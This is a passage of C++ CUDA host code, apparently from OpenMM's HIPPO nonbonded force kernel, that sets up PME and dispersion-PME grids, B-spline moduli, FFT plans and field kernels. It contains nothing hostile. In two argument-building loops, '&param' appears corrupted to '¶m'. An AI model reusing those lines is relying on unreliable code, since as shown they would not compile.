exceptionScaleVec[5].push_back(chargeTransferScale);
}
}
if (exceptionAtomsVec.size() > 0) {
exceptionAtoms.initialize<int2>(cu, exceptionAtomsVec.size(), "exceptionAtoms");
exceptionAtoms.upload(exceptionAtomsVec);
for (int i = 0; i < 6; i++) {
exceptionScales[i].initialize(cu, exceptionAtomsVec.size(), elementSize, "exceptionScales");
exceptionScales[i].upload(exceptionScaleVec[i], true);
}
}
// Create the kernels.
bool useShuffle = (cu.getComputeCapability() >= 3.0 && !cu.getUseDoublePrecision());
map<string, string> defines;
defines["HIPPO"] = "1";
defines["NUM_ATOMS"] = cu.intToString(numParticles);
defines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
defines["NUM_BLOCKS"] = cu.intToString(cu.getNumAtomBlocks());
defines["ENERGY_SCALE_FACTOR"] = cu.doubleToString(138.9354558456);
if (useShuffle)
defines["USE_SHUFFLE"] = "";
maxExtrapolationOrder = extrapolationCoefficients.size();
defines["MAX_EXTRAPOLATION_ORDER"] = cu.intToString(maxExtrapolationOrder);
stringstream coefficients;
for (int i = 0; i < maxExtrapolationOrder; i++) {
if (i > 0)
coefficients << ",";
double sum = 0;
for (int j = i; j < maxExtrapolationOrder; j++)
sum += extrapolationCoefficients[j];
coefficients << cu.doubleToString(sum);
}
defines["EXTRAPOLATION_COEFFICIENTS_SUM"] = coefficients.str();
cutoff = force.getCutoffDistance();
if (usePME) {
int nx, ny, nz;
force.getPMEParameters(pmeAlpha, nx, ny, nz);
if (nx == 0 || pmeAlpha == 0) {
NonbondedForce nb;
nb.setEwaldErrorTolerance(force.getEwaldErrorTolerance());
nb.setCutoffDistance(force.getCutoffDistance());
NonbondedForceImpl::calcPMEParameters(system, nb, pmeAlpha, gridSizeX, gridSizeY, gridSizeZ, false);
gridSizeX = CudaFFT3D::findLegalDimension(gridSizeX);
gridSizeY = CudaFFT3D::findLegalDimension(gridSizeY);
gridSizeZ = CudaFFT3D::findLegalDimension(gridSizeZ);
} else {
gridSizeX = CudaFFT3D::findLegalDimension(nx);
gridSizeY = CudaFFT3D::findLegalDimension(ny);
gridSizeZ = CudaFFT3D::findLegalDimension(nz);
}
force.getDPMEParameters(dpmeAlpha, nx, ny, nz);
if (nx == 0 || dpmeAlpha == 0) {
NonbondedForce nb;
nb.setEwaldErrorTolerance(force.getEwaldErrorTolerance());
nb.setCutoffDistance(force.getCutoffDistance());
NonbondedForceImpl::calcPMEParameters(system, nb, dpmeAlpha, dispersionGridSizeX, dispersionGridSizeY, dispersionGridSizeZ, true);
dispersionGridSizeX = CudaFFT3D::findLegalDimension(dispersionGridSizeX);
dispersionGridSizeY = CudaFFT3D::findLegalDimension(dispersionGridSizeY);
dispersionGridSizeZ = CudaFFT3D::findLegalDimension(dispersionGridSizeZ);
} else {
dispersionGridSizeX = CudaFFT3D::findLegalDimension(nx);
dispersionGridSizeY = CudaFFT3D::findLegalDimension(ny);
dispersionGridSizeZ = CudaFFT3D::findLegalDimension(nz);
}
defines["EWALD_ALPHA"] = cu.doubleToString(pmeAlpha);
defines["SQRT_PI"] = cu.doubleToString(sqrt(M_PI));
defines["USE_EWALD"] = "";
defines["USE_CUTOFF"] = "";
defines["USE_PERIODIC"] = "";
defines["CUTOFF_SQUARED"] = cu.doubleToString(force.getCutoffDistance()*force.getCutoffDistance());
}
CUmodule module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::hippoMultipoles, defines);
computeMomentsKernel = cu.getKernel(module, "computeLabFrameMoments");
recordInducedDipolesKernel = cu.getKernel(module, "recordInducedDipoles");
mapTorqueKernel = cu.getKernel(module, "mapTorqueToForce");
module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::multipoleInducedField, defines);
initExtrapolatedKernel = cu.getKernel(module, "initExtrapolatedDipoles");
iterateExtrapolatedKernel = cu.getKernel(module, "iterateExtrapolatedDipoles");
computeExtrapolatedKernel = cu.getKernel(module, "computeExtrapolatedDipoles");
polarizationEnergyKernel = cu.getKernel(module, "computePolarizationEnergy");
// Set up PME.
if (usePME) {
// Create the PME kernels.
map<string, string> pmeDefines;
pmeDefines["HIPPO"] = "1";
pmeDefines["EWALD_ALPHA"] = cu.doubleToString(pmeAlpha);
pmeDefines["DISPERSION_EWALD_ALPHA"] = cu.doubleToString(dpmeAlpha);
pmeDefines["PME_ORDER"] = cu.intToString(PmeOrder);
pmeDefines["NUM_ATOMS"] = cu.intToString(numParticles);
pmeDefines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
pmeDefines["EPSILON_FACTOR"] = cu.doubleToString(138.9354558456);
pmeDefines["GRID_SIZE_X"] = cu.intToString(gridSizeX);
pmeDefines["GRID_SIZE_Y"] = cu.intToString(gridSizeY);
pmeDefines["GRID_SIZE_Z"] = cu.intToString(gridSizeZ);
pmeDefines["M_PI"] = cu.doubleToString(M_PI);
pmeDefines["SQRT_PI"] = cu.doubleToString(sqrt(M_PI));
pmeDefines["EXTRAPOLATION_COEFFICIENTS_SUM"] = coefficients.str();
pmeDefines["MAX_EXTRAPOLATION_ORDER"] = cu.intToString(maxExtrapolationOrder);
CUmodule module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::multipolePme, pmeDefines);
pmeTransformMultipolesKernel = cu.getKernel(module, "transformMultipolesToFractionalCoordinates");
pmeTransformPotentialKernel = cu.getKernel(module, "transformPotentialToCartesianCoordinates");
pmeSpreadFixedMultipolesKernel = cu.getKernel(module, "gridSpreadFixedMultipoles");
pmeSpreadInducedDipolesKernel = cu.getKernel(module, "gridSpreadInducedDipoles");
pmeFinishSpreadChargeKernel = cu.getKernel(module, "finishSpreadCharge");
pmeConvolutionKernel = cu.getKernel(module, "reciprocalConvolution");
pmeFixedPotentialKernel = cu.getKernel(module, "computeFixedPotentialFromGrid");
pmeInducedPotentialKernel = cu.getKernel(module, "computeInducedPotentialFromGrid");
pmeFixedForceKernel = cu.getKernel(module, "computeFixedMultipoleForceAndEnergy");
pmeInducedForceKernel = cu.getKernel(module, "computeInducedDipoleForceAndEnergy");
pmeRecordInducedFieldDipolesKernel = cu.getKernel(module, "recordInducedFieldDipoles");
pmeSelfEnergyKernel = cu.getKernel(module, "calculateSelfEnergyAndTorque");
// Create the dispersion PME kernels.
pmeDefines["EWALD_ALPHA"] = cu.doubleToString(dpmeAlpha);
pmeDefines["EPSILON_FACTOR"] = "1";
pmeDefines["GRID_SIZE_X"] = cu.intToString(dispersionGridSizeX);
pmeDefines["GRID_SIZE_Y"] = cu.intToString(dispersionGridSizeY);
pmeDefines["GRID_SIZE_Z"] = cu.intToString(dispersionGridSizeZ);
pmeDefines["RECIP_EXP_FACTOR"] = cu.doubleToString(M_PI*M_PI/(dpmeAlpha*dpmeAlpha));
pmeDefines["CHARGE"] = "charges[atom]";
pmeDefines["USE_LJPME"] = "1";
module = cu.createModule(CudaKernelSources::vectorOps+CudaKernelSources::pme, pmeDefines);
dpmeFinishSpreadChargeKernel = cu.getKernel(module, "finishSpreadCharge");
dpmeGridIndexKernel = cu.getKernel(module, "findAtomGridIndex");
dpmeSpreadChargeKernel = cu.getKernel(module, "gridSpreadCharge");
dpmeConvolutionKernel = cu.getKernel(module, "reciprocalConvolution");
dpmeEvalEnergyKernel = cu.getKernel(module, "gridEvaluateEnergy");
dpmeInterpolateForceKernel = cu.getKernel(module, "gridInterpolateForce");
// Create required data structures.
int roundedZSize = PmeOrder*(int) ceil(gridSizeZ/(double) PmeOrder);
int gridElements = gridSizeX*gridSizeY*roundedZSize;
roundedZSize = PmeOrder*(int) ceil(dispersionGridSizeZ/(double) PmeOrder);
gridElements = max(gridElements, dispersionGridSizeX*dispersionGridSizeY*roundedZSize);
pmeGrid1.initialize(cu, gridElements, elementSize, "pmeGrid1");
pmeGrid2.initialize(cu, gridElements, 2*elementSize, "pmeGrid2");
cu.addAutoclearBuffer(pmeGrid1);
pmeBsplineModuliX.initialize(cu, gridSizeX, elementSize, "pmeBsplineModuliX");
pmeBsplineModuliY.initialize(cu, gridSizeY, elementSize, "pmeBsplineModuliY");
pmeBsplineModuliZ.initialize(cu, gridSizeZ, elementSize, "pmeBsplineModuliZ");
dpmeBsplineModuliX.initialize(cu, dispersionGridSizeX, elementSize, "dpmeBsplineModuliX");
dpmeBsplineModuliY.initialize(cu, dispersionGridSizeY, elementSize, "dpmeBsplineModuliY");
dpmeBsplineModuliZ.initialize(cu, dispersionGridSizeZ, elementSize, "dpmeBsplineModuliZ");
pmePhi.initialize(cu, 20*numParticles, elementSize, "pmePhi");
pmePhidp.initialize(cu, 20*numParticles, elementSize, "pmePhidp");
pmeCphi.initialize(cu, 10*numParticles, elementSize, "pmeCphi");
pmeAtomGridIndex.initialize<int2>(cu, numParticles, "pmeAtomGridIndex");
sort = new CudaSort(cu, new SortTrait(), cu.getNumAtoms());
cufftResult result = cufftPlan3d(&fftForward, gridSizeX, gridSizeY, gridSizeZ, cu.getUseDoublePrecision() ? CUFFT_D2Z : CUFFT_R2C);
if (result != CUFFT_SUCCESS)
throw OpenMMException("Error initializing FFT: "+cu.intToString(result));
result = cufftPlan3d(&fftBackward, gridSizeX, gridSizeY, gridSizeZ, cu.getUseDoublePrecision() ? CUFFT_Z2D : CUFFT_C2R);
if (result != CUFFT_SUCCESS)
throw OpenMMException("Error initializing FFT: "+cu.intToString(result));
result = cufftPlan3d(&dfftForward, dispersionGridSizeX, dispersionGridSizeY, dispersionGridSizeZ, cu.getUseDoublePrecision() ? CUFFT_D2Z : CUFFT_R2C);
if (result != CUFFT_SUCCESS)
throw OpenMMException("Error initializing FFT: "+cu.intToString(result));
result = cufftPlan3d(&dfftBackward, dispersionGridSizeX, dispersionGridSizeY, dispersionGridSizeZ, cu.getUseDoublePrecision() ? CUFFT_Z2D : CUFFT_C2R);
if (result != CUFFT_SUCCESS)
throw OpenMMException("Error initializing FFT: "+cu.intToString(result));
hasInitializedFFT = true;
// Initialize the B-spline moduli.
double data[PmeOrder];
double x = 0.0;
data[0] = 1.0 - x;
data[1] = x;
for (int i = 2; i < PmeOrder; i++) {
double denom = 1.0/i;
data[i] = x*data[i-1]*denom;
for (int j = 1; j < i; j++)
data[i-j] = ((x+j)*data[i-j-1] + ((i-j+1)-x)*data[i-j])*denom;
data[0] = (1.0-x)*data[0]*denom;
}
int maxSize = max(max(gridSizeX, gridSizeY), gridSizeZ);
vector<double> bsplines_data(maxSize+1, 0.0);
for (int i = 2; i <= PmeOrder+1; i++)
bsplines_data[i] = data[i-2];
for (int dim = 0; dim < 3; dim++) {
int ndata = (dim == 0 ? gridSizeX : dim == 1 ? gridSizeY : gridSizeZ);
vector<double> moduli(ndata);
// get the modulus of the discrete Fourier transform
double factor = 2.0*M_PI/ndata;
for (int i = 0; i < ndata; i++) {
double sc = 0.0;
double ss = 0.0;
for (int j = 1; j <= ndata; j++) {
double arg = factor*i*(j-1);
sc += bsplines_data[j]*cos(arg);
ss += bsplines_data[j]*sin(arg);
}
moduli[i] = sc*sc+ss*ss;
}
// Fix for exponential Euler spline interpolation failure.
double eps = 1.0e-7;
if (moduli[0] < eps)
moduli[0] = 0.9*moduli[1];
for (int i = 1; i < ndata-1; i++)
if (moduli[i] < eps)
moduli[i] = 0.9*(moduli[i-1]+moduli[i+1]);
if (moduli[ndata-1] < eps)
moduli[ndata-1] = 0.9*moduli[ndata-2];
// Compute and apply the optimal zeta coefficient.
int jcut = 50;
for (int i = 1; i <= ndata; i++) {
int k = i - 1;
if (i > ndata/2)
k = k - ndata;
double zeta;
if (k == 0)
zeta = 1.0;
else {
double sum1 = 1.0;
double sum2 = 1.0;
factor = M_PI*k/ndata;
for (int j = 1; j <= jcut; j++) {
double arg = factor/(factor+M_PI*j);
sum1 += pow(arg, PmeOrder);
sum2 += pow(arg, 2*PmeOrder);
}
for (int j = 1; j <= jcut; j++) {
double arg = factor/(factor-M_PI*j);
sum1 += pow(arg, PmeOrder);
sum2 += pow(arg, 2*PmeOrder);
}
zeta = sum2/sum1;
}
moduli[i-1] = moduli[i-1]*zeta*zeta;
}
if (cu.getUseDoublePrecision()) {
if (dim == 0)
pmeBsplineModuliX.upload(moduli);
else if (dim == 1)
pmeBsplineModuliY.upload(moduli);
else
pmeBsplineModuliZ.upload(moduli);
}
else {
vector<float> modulif(ndata);
for (int i = 0; i < ndata; i++)
modulif[i] = (float) moduli[i];
if (dim == 0)
pmeBsplineModuliX.upload(modulif);
else if (dim == 1)
pmeBsplineModuliY.upload(modulif);
else
pmeBsplineModuliZ.upload(modulif);
}
}
// Initialize the b-spline moduli for dispersion PME.
maxSize = max(max(dispersionGridSizeX, dispersionGridSizeY), dispersionGridSizeZ);
vector<double> ddata(PmeOrder);
bsplines_data.resize(maxSize);
data[PmeOrder-1] = 0.0;
data[1] = 0.0;
data[0] = 1.0;
for (int i = 3; i < PmeOrder; i++) {
double div = 1.0/(i-1.0);
data[i-1] = 0.0;
for (int j = 1; j < (i-1); j++)
data[i-j-1] = div*(j*data[i-j-2]+(i-j)*data[i-j-1]);
data[0] = div*data[0];
}
// Differentiate.
ddata[0] = -data[0];
for (int i = 1; i < PmeOrder; i++)
ddata[i] = data[i-1]-data[i];
double div = 1.0/(PmeOrder-1);
data[PmeOrder-1] = 0.0;
for (int i = 1; i < (PmeOrder-1); i++)
data[PmeOrder-i-1] = div*(i*data[PmeOrder-i-2]+(PmeOrder-i)*data[PmeOrder-i-1]);
data[0] = div*data[0];
for (int i = 0; i < maxSize; i++)
bsplines_data[i] = 0.0;
for (int i = 1; i <= PmeOrder; i++)
bsplines_data[i] = data[i-1];
// Evaluate the actual bspline moduli for X/Y/Z.
for(int dim = 0; dim < 3; dim++) {
int ndata = (dim == 0 ? dispersionGridSizeX : dim == 1 ? dispersionGridSizeY : dispersionGridSizeZ);
vector<double> moduli(ndata);
for (int i = 0; i < ndata; i++) {
double sc = 0.0;
double ss = 0.0;
for (int j = 0; j < ndata; j++) {
double arg = (2.0*M_PI*i*j)/ndata;
sc += bsplines_data[j]*cos(arg);
ss += bsplines_data[j]*sin(arg);
}
moduli[i] = sc*sc+ss*ss;
}
for (int i = 0; i < ndata; i++)
if (moduli[i] < 1.0e-7)
moduli[i] = (moduli[i-1]+moduli[i+1])*0.5;
if (dim == 0)
dpmeBsplineModuliX.upload(moduli, true);
else if (dim == 1)
dpmeBsplineModuliY.upload(moduli, true);
else
dpmeBsplineModuliZ.upload(moduli, true);
}
}
// Add the interaction to the default nonbonded kernel.
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
nb.setKernelSource(CudaAmoebaKernelSources::hippoInteractionHeader+CudaAmoebaKernelSources::hippoNonbonded);
nb.addArgument(CudaNonbondedUtilities::ParameterInfo("torqueBuffers", "unsigned long long", 1, torque.getElementSize(), torque.getDevicePointer(), false));
nb.addArgument(CudaNonbondedUtilities::ParameterInfo("extrapolatedDipole", "real3", 1, extrapolatedDipole.getElementSize(), extrapolatedDipole.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("coreCharge", "real", 1, coreCharge.getElementSize(), coreCharge.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("valenceCharge", "real", 1, valenceCharge.getElementSize(), valenceCharge.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("alpha", "real", 1, alpha.getElementSize(), alpha.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("epsilon", "real", 1, epsilon.getElementSize(), epsilon.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("damping", "real", 1, damping.getElementSize(), damping.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("c6", "real", 1, c6.getElementSize(), c6.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("pauliK", "real", 1, pauliK.getElementSize(), pauliK.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("pauliQ", "real", 1, pauliQ.getElementSize(), pauliQ.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("pauliAlpha", "real", 1, pauliAlpha.getElementSize(), pauliAlpha.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("dipole", "real", 3, labDipoles.getElementSize(), labDipoles.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("inducedDipole", "real", 3, inducedDipole.getElementSize(), inducedDipole.getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("qXX", "real", 1, labQuadrupoles[0].getElementSize(), labQuadrupoles[0].getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("qXY", "real", 1, labQuadrupoles[1].getElementSize(), labQuadrupoles[1].getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("qXZ", "real", 1, labQuadrupoles[2].getElementSize(), labQuadrupoles[2].getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("qYY", "real", 1, labQuadrupoles[3].getElementSize(), labQuadrupoles[3].getDevicePointer()));
nb.addParameter(CudaNonbondedUtilities::ParameterInfo("qYZ", "real", 1, labQuadrupoles[4].getElementSize(), labQuadrupoles[4].getDevicePointer()));
map<string, string> replacements;
replacements["ENERGY_SCALE_FACTOR"] = cu.doubleToString(138.9354558456);
replacements["SWITCH_CUTOFF"] = cu.doubleToString(force.getSwitchingDistance());
replacements["SWITCH_C3"] = cu.doubleToString(10/pow(force.getSwitchingDistance()-force.getCutoffDistance(), 3.0));
replacements["SWITCH_C4"] = cu.doubleToString(15/pow(force.getSwitchingDistance()-force.getCutoffDistance(), 4.0));
replacements["SWITCH_C5"] = cu.doubleToString(6/pow(force.getSwitchingDistance()-force.getCutoffDistance(), 5.0));
replacements["MAX_EXTRAPOLATION_ORDER"] = cu.intToString(maxExtrapolationOrder);
replacements["EXTRAPOLATION_COEFFICIENTS_SUM"] = coefficients.str();
replacements["USE_EWALD"] = (usePME ? "1" : "0");
replacements["PME_ALPHA"] = (usePME ? cu.doubleToString(pmeAlpha) : "0");
replacements["DPME_ALPHA"] = (usePME ? cu.doubleToString(dpmeAlpha) : "0");
replacements["SQRT_PI"] = cu.doubleToString(sqrt(M_PI));
string interactionSource = cu.replaceStrings(CudaAmoebaKernelSources::hippoInteraction, replacements);
nb.addInteraction(usePME, usePME, true, force.getCutoffDistance(), exclusions, interactionSource, force.getForceGroup());
nb.setUsePadding(false);
// Create the kernel for computing exceptions.
if (exceptionAtoms.isInitialized()) {
replacements["COMPUTE_INTERACTION"] = interactionSource;
string exceptionsSrc = CudaKernelSources::vectorOps+CudaAmoebaKernelSources::hippoInteractionHeader+CudaAmoebaKernelSources::hippoNonbondedExceptions;
exceptionsSrc = cu.replaceStrings(exceptionsSrc, replacements);
defines["NUM_EXCEPTIONS"] = cu.intToString(exceptionAtoms.getSize());
module = cu.createModule(exceptionsSrc, defines);
computeExceptionsKernel = cu.getKernel(module, "computeNonbondedExceptions");
}
cu.addForce(new ForceInfo(force));
cu.addPostComputation(new TorquePostComputation(*this));
}
void CudaCalcHippoNonbondedForceKernel::createFieldKernel(const string& interactionSrc, vector<CudaArray*> params,
CudaArray& fieldBuffer, CUfunction& kernel, vector<void*>& args, CUfunction& exceptionKernel, vector<void*>& exceptionArgs,
CudaArray& exceptionScale) {
// Create the kernel source.
map<string, string> replacements;
replacements["COMPUTE_FIELD"] = interactionSrc;
stringstream extraArgs, atomParams, loadLocal1, loadLocal2, load1, load2, load3;
for (auto param : params) {
string name = param->getName();
string type = (param->getElementSize() == 4 || param->getElementSize() == 8 ? "real" : "real3");
extraArgs << ", const " << type << "* __restrict__ " << name;
atomParams << type << " " << name << ";\n";
loadLocal1 << "localData[localAtomIndex]." << name << " = " << name << "1;\n";
loadLocal2 << "localData[localAtomIndex]." << name << " = " << name << "[j];\n";
load1 << type << " " << name << "1 = " << name << "[atom1];\n";
load2 << type << " " << name << "2 = localData[atom2]." << name << ";\n";
load3 << type << " " << name << "2 = " << name << "[atom2];\n";
}
replacements["PARAMETER_ARGUMENTS"] = extraArgs.str();
replacements["ATOM_PARAMETER_DATA"] = atomParams.str();
replacements["LOAD_LOCAL_PARAMETERS_FROM_1"] = loadLocal1.str();
replacements["LOAD_LOCAL_PARAMETERS_FROM_GLOBAL"] = loadLocal2.str();
replacements["LOAD_ATOM1_PARAMETERS"] = load1.str();
replacements["LOAD_ATOM2_PARAMETERS"] = load2.str();
replacements["LOAD_ATOM2_PARAMETERS_FROM_GLOBAL"] = load3.str();
string src = cu.replaceStrings(CudaAmoebaKernelSources::hippoComputeField, replacements);
// Set defines and create the kernel.
map<string, string> defines;
if (usePME) {
defines["USE_CUTOFF"] = "1";
defines["USE_PERIODIC"] = "1";
defines["USE_EWALD"] = "1";
defines["PME_ALPHA"] = cu.doubleToString(pmeAlpha);
defines["SQRT_PI"] = cu.doubleToString(sqrt(M_PI));
}
defines["WARPS_PER_GROUP"] = cu.intToString(cu.getNonbondedUtilities().getForceThreadBlockSize()/CudaContext::TileSize);
defines["THREAD_BLOCK_SIZE"] = cu.intToString(cu.getNonbondedUtilities().getForceThreadBlockSize());
defines["CUTOFF"] = cu.doubleToString(cutoff);
defines["CUTOFF_SQUARED"] = cu.doubleToString(cutoff*cutoff);
defines["NUM_ATOMS"] = cu.intToString(cu.getNumAtoms());
defines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
defines["NUM_BLOCKS"] = cu.intToString(cu.getNumAtomBlocks());
defines["TILE_SIZE"] = cu.intToString(CudaContext::TileSize);
defines["NUM_TILES_WITH_EXCLUSIONS"] = cu.intToString(cu.getNonbondedUtilities().getExclusionTiles().getSize());
defines["NUM_EXCEPTIONS"] = cu.intToString(exceptionAtoms.isInitialized() ? exceptionAtoms.getSize() : 0);
CUmodule module = cu.createModule(CudaKernelSources::vectorOps+src, defines);
kernel = cu.getKernel(module, "computeField");
// Build the list of arguments.
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
args.push_back(&cu.getPosq().getDevicePointer());
args.push_back(&cu.getNonbondedUtilities().getExclusions().getDevicePointer());
args.push_back(&cu.getNonbondedUtilities().getExclusionTiles().getDevicePointer());
args.push_back(&fieldBuffer.getDevicePointer());
if (nb.getUseCutoff()) {
args.push_back(&nb.getInteractingTiles().getDevicePointer());
args.push_back(&nb.getInteractionCount().getDevicePointer());
args.push_back(cu.getPeriodicBoxSizePointer());
args.push_back(cu.getInvPeriodicBoxSizePointer());
args.push_back(cu.getPeriodicBoxVecXPointer());
args.push_back(cu.getPeriodicBoxVecYPointer());
args.push_back(cu.getPeriodicBoxVecZPointer());
args.push_back(&maxTiles);
args.push_back(&nb.getBlockCenters().getDevicePointer());
args.push_back(&nb.getBlockBoundingBoxes().getDevicePointer());
args.push_back(&nb.getInteractingAtoms().getDevicePointer());
}
else
args.push_back(&maxTiles);
for (auto param : params)
args.push_back(¶m->getDevicePointer());
// If there are any exceptions, build the kernel and arguments to compute them.
if (exceptionAtoms.isInitialized()) {
exceptionKernel = cu.getKernel(module, "computeFieldExceptions");
exceptionArgs.push_back(&cu.getPosq().getDevicePointer());
exceptionArgs.push_back(&fieldBuffer.getDevicePointer());
exceptionArgs.push_back(&exceptionAtoms.getDevicePointer());
exceptionArgs.push_back(&exceptionScale.getDevicePointer());
if (nb.getUseCutoff()) {
exceptionArgs.push_back(cu.getPeriodicBoxSizePointer());
exceptionArgs.push_back(cu.getInvPeriodicBoxSizePointer());
exceptionArgs.push_back(cu.getPeriodicBoxVecXPointer());
exceptionArgs.push_back(cu.getPeriodicBoxVecYPointer());
exceptionArgs.push_back(cu.getPeriodicBoxVecZPointer());
}
for (auto param : params)
exceptionArgs.push_back(¶m->getDevicePointer());
}
}
double CudaCalcHippoNonbondedForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
if (!hasInitializedKernels) {
hasInitializedKernels = true;
// These kernels can't be compiled in initialize(), because the nonbonded utilities object
// has not yet been initialized then.
maxTiles = (nb.getUseCutoff() ? nb.getInteractingTiles().getSize() : cu.getNumAtomBlocks()*(cu.getNumAtomBlocks()+1)/2);
createFieldKernel(CudaAmoebaKernelSources::hippoFixedField, {&coreCharge, &valenceCharge, &alpha, &labDipoles, &labQuadrupoles[0],
&labQuadrupoles[1], &labQuadrupoles[2], &labQuadrupoles[3], &labQuadrupoles[4]}, field, fixedFieldKernel, fixedFieldArgs,
fixedFieldExceptionKernel, fixedFieldExceptionArgs, exceptionScales[1]);
createFieldKernel(CudaAmoebaKernelSources::hippoMutualField, {&alpha, &inducedDipole}, inducedField, mutualFieldKernel, mutualFieldArgs,
mutualFieldExceptionKernel, mutualFieldExceptionArgs, exceptionScales[2]);
if (exceptionAtoms.isInitialized()) {
computeExceptionsArgs.push_back(&cu.getForce().getDevicePointer());
computeExceptionsArgs.push_back(&cu.getEnergyBuffer().getDevicePointer());
computeExceptionsArgs.push_back(&torque.getDevicePointer());
computeExceptionsArgs.push_back(&cu.getPosq().getDevicePointer());
computeExceptionsArgs.push_back(&extrapolatedDipole.getDevicePointer());
computeExceptionsArgs.push_back(&exceptionAtoms.getDevicePointer());
computeExceptionsArgs.push_back(&exceptionScales[0].getDevicePointer());
computeExceptionsArgs.push_back(&exceptionScales[1].getDevicePointer());
computeExceptionsArgs.push_back(&exceptionScales[2].getDevicePointer());
computeExceptionsArgs.push_back(&exceptionScales[3].getDevicePointer());
computeExceptionsArgs.push_back(&exceptionScales[4].getDevicePointer());
computeExceptionsArgs.push_back(&exceptionScales[5].getDevicePointer());
computeExceptionsArgs.push_back(&coreCharge.getDevicePointer());
computeExceptionsArgs.push_back(&valenceCharge.getDevicePointer());
computeExceptionsArgs.push_back(&alpha.getDevicePointer());
computeExceptionsArgs.push_back(&epsilon.getDevicePointer());
computeExceptionsArgs.push_back(&damping.getDevicePointer());
computeExceptionsArgs.push_back(&c6.getDevicePointer());
computeExceptionsArgs.push_back(&pauliK.getDevicePointer());
computeExceptionsArgs.push_back(&pauliQ.getDevicePointer());
computeExceptionsArgs.push_back(&pauliAlpha.getDevicePointer());
computeExceptionsArgs.push_back(&labDipoles.getDevicePointer());
computeExceptionsArgs.push_back(&inducedDipole.getDevicePointer());
computeExceptionsArgs.push_back(&labQuadrupoles[0].getDevicePointer());
computeExceptionsArgs.push_back(&labQuadrupoles[1].getDevicePointer());
computeExceptionsArgs.push_back(&labQuadrupoles[2].getDevicePointer());
computeExceptionsArgs.push_back(&labQuadrupoles[3].getDevicePointer());
computeExceptionsArgs.push_back(&labQuadrupoles[4].getDevicePointer());
computeExceptionsArgs.push_back(&extrapolatedDipole.getDevicePointer());
if (nb.getUseCutoff()) {
computeExceptionsArgs.push_back(cu.getPeriodicBoxSizePointer());
computeExceptionsArgs.push_back(cu.getInvPeriodicBoxSizePointer());
computeExceptionsArgs.push_back(cu.getPeriodicBoxVecXPointer());
computeExceptionsArgs.push_back(cu.getPeriodicBoxVecYPointer());
computeExceptionsArgs.push_back(cu.getPeriodicBoxVecZPointer());
}
}
}
// Make sure the arrays for the neighbor list haven't been recreated.
if (nb.getUseCutoff()) {
if (maxTiles < nb.getInteractingTiles().getSize()) {
maxTiles = nb.getInteractingTiles().getSize();
fixedFieldArgs[4] = &nb.getInteractingTiles().getDevicePointer();
fixedFieldArgs[14] = &nb.getInteractingAtoms().getDevicePointer();
mutualFieldArgs[4] = &nb.getInteractingTiles().getDevicePointer();
mutualFieldArgs[14] = &nb.getInteractingAtoms().getDevicePointer();
}
}
// Compute the lab frame moments.
void* computeMomentsArgs[] = {&cu.getPosq().getDevicePointer(), &multipoleParticles.getDevicePointer(),
&localDipoles.getDevicePointer(), &localQuadrupoles.getDevicePointer(),
&labDipoles.getDevicePointer(), &labQuadrupoles[0].getDevicePointer(),
&labQuadrupoles[1].getDevicePointer(), &labQuadrupoles[2].getDevicePointer(),
&labQuadrupoles[3].getDevicePointer(), &labQuadrupoles[4].getDevicePointer()};
cu.executeKernel(computeMomentsKernel, computeMomentsArgs, cu.getNumAtoms());
void* recipBoxVectorPointer[3];
if (usePME) {
// Compute reciprocal box vectors.
Vec3 boxVectors[3];
cu.getPeriodicBoxVectors(boxVectors[0], boxVectors[1], boxVectors[2]);
double determinant = boxVectors[0][0]*boxVectors[1][1]*boxVectors[2][2];
double scale = 1.0/determinant;
double3 recipBoxVectors[3];
recipBoxVectors[0] = make_double3(boxVectors[1][1]*boxVectors[2][2]*scale, 0, 0);
recipBoxVectors[1] = make_double3(-boxVectors[1][0]*boxVectors[2][2]*scale, boxVectors[0][0]*boxVectors[2][2]*scale, 0);
recipBoxVectors[2] = make_double3((boxVectors[1][0]*boxVectors[2][1]-boxVectors[1][1]*boxVectors[2][0])*scale, -boxVectors[0][0]*boxVectors[2][1]*scale, boxVectors[0][0]*boxVectors[1][1]*scale);
float3 recipBoxVectorsFloat[3];
if (cu.getUseDoublePrecision()) {
recipBoxVectorPointer[0] = &recipBoxVectors[0];
recipBoxVectorPointer[1] = &recipBoxVectors[1];
recipBoxVectorPointer[2] = &recipBoxVectors[2];
}
else {
recipBoxVectorsFloat[0] = make_float3((float) recipBoxVectors[0].x, 0, 0);
recipBoxVectorsFloat[1] = make_float3((float) recipBoxVectors[1].x, (float) recipBoxVectors[1].y, 0);
recipBoxVectorsFloat[2] = make_float3((float) recipBoxVectors[2].x, (float) recipBoxVectors[2].y, (float) recipBoxVectors[2].z);
recipBoxVectorPointer[0] = &recipBoxVectorsFloat[0];
recipBoxVectorPointer[1] = &recipBoxVectorsFloat[1];
recipBoxVectorPointer[2] = &recipBoxVectorsFloat[2];
}
